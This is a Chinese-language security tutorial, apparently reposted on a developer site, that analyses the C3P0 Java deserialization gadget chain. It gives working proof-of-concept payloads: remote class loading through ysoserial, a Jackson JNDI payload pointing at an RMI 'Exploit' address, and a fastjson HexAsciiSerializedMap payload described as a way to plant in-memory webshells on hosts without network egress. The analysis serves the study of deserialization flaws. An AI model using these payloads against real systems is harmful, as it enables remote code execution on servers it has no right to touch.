淺談Java安全之C3P0鏈利用與分析
0x00 前言
在一些比較極端情況下,C3P0鏈的使用還是挺頻繁的。
0x01 利用方式
利用方式
在C3P0中有三種利用方式
- http base
- JNDI
- HEX序列化字節(jié)加載器
在原生的反序列化中如果找不到其他鏈,則可嘗試C3P0去加載遠(yuǎn)程的類進(jìn)行命令執(zhí)行。JNDI則適用于Jackson等利用。而HEX序列化字節(jié)加載器的方式可以利用與fj和Jackson等不出網(wǎng)情況下打入內(nèi)存馬使用。
http base使用
使用也很簡單,可以直接使用yso生成數(shù)據(jù)進(jìn)行發(fā)送到服務(wù)端,然后加載到指定的遠(yuǎn)程類。
public class test1 {
public static void main(String[] args) throws Exception {
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:80/:exp");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
}

0x02 C3P0分析
構(gòu)造分析
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
......
}
代碼比較簡單,反射創(chuàng)建了一個(gè)PoolBackedDataSource實(shí)例對象,然后反射將connectionPoolDataSource的值設(shè)置為PoolSource類的實(shí)例,傳遞className和url參數(shù)。即我們傳入的遠(yuǎn)程地址和類名。
在序列化的時(shí)候會(huì)去調(diào)用我們的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject

這行代碼走到了catch代碼塊里面,因?yàn)槲覀儌魅氲?code>this.connectionPoolDataSource即PoolSource類是不可被序列化的。
繼續(xù)走到下面代碼來看。

public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}
調(diào)用我們傳遞的this.connectionPoolDataSource的getReference();方法。來獲取到一個(gè)Reference這也是前面為我們要重寫這個(gè)方法的原因。
實(shí)例ReferenceIndirector.ReferenceSerialized將剛剛獲取的Reference傳遞進(jìn)去。


利用分析
反序列化入口為com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

調(diào)用readObject內(nèi)部會(huì)調(diào)用ReferenceIndirector.getObject()



Class.forName ,如果可以控制forName?法的第?個(gè)和第三個(gè)參數(shù),并且第?個(gè)參數(shù)為 true,那么就可以利?BCEL, ClassLoader實(shí)現(xiàn)任意代碼加載執(zhí)? 。
把代碼摳出來測試一下
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
URL var8 = new URL("http://127.0.0.1:80");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6);
Class var12 = Class.forName("exp", true, urlClassLoader);

跟蹤了一下forName0是native修飾的內(nèi)部使用C/C++實(shí)現(xiàn)無法進(jìn)行查看。
來看到官方的講解。
Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.
翻譯大概的意思就是返回一個(gè)給定類或者接口的一個(gè) Class 對象,如果沒有給定 classloader, 那么會(huì)使用根類加載器。如果initalize這個(gè)參數(shù)傳了 true,那么給定的類如果之前沒有被初始化過,那么會(huì)被初始化。
也就是說我們的exp會(huì)被初始化,執(zhí)行我們static代碼塊中的惡意代碼。
HEX序列化字節(jié)加載器
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內(nèi)容;"}}
在fj反序列化userOverridesAsString調(diào)用settingsetter傳入以HexAsciiSerializedMap開頭的字符串進(jìn)行解碼并觸發(fā)原生反序列化。

來看到調(diào)用流程。下面調(diào)用到這里
this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);
一路跟蹤來到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString中
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
} else {
return Collections.EMPTY_MAP;
}
}
將HexAsciiSerializedMap中內(nèi)容提取出來進(jìn)行反序列化

JNDI利用
public static void main(String[] args) throws IOException, JsonProcessingException {
String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
System.out.println(poc);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc, Person.class);
}
jackson和fastjson特性一樣會(huì)調(diào)用setter,這里利用的是JndiRefDataSourceBase中的setjndiName
0x03 結(jié)尾
構(gòu)造序列化payload時(shí),C3P0版本也會(huì)對漏洞利用有所影響。
到此這篇關(guān)于淺談Java安全之C3P0鏈利用與分析的文章就介紹到這了,更多相關(guān)Java C3P0鏈內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Spring自動(dòng)配置之condition條件判斷上篇
這篇文章主要為大家介紹了SpringBoot condition條件判斷功能的使用,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2022-08-08
利用數(shù)組實(shí)現(xiàn)棧(Java實(shí)現(xiàn))
這篇文章主要為大家詳細(xì)介紹了利用數(shù)組實(shí)現(xiàn)棧,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-09-09
通過@Resource注解實(shí)現(xiàn)屬性裝配代碼詳解
這篇文章主要介紹了通過@Resource注解實(shí)現(xiàn)屬性裝配代碼詳解,具有一定借鑒價(jià)值,需要的朋友可以參考下2018-01-01
如何解決SpringBoot集成百度UEditor圖片上傳后直接訪問404
在本篇文章里小編給大家整理的是一篇關(guān)于如何解決SpringBoot集成百度UEditor圖片上傳后直接訪問404相關(guān)文章,需要的朋友們學(xué)習(xí)下。2019-11-11

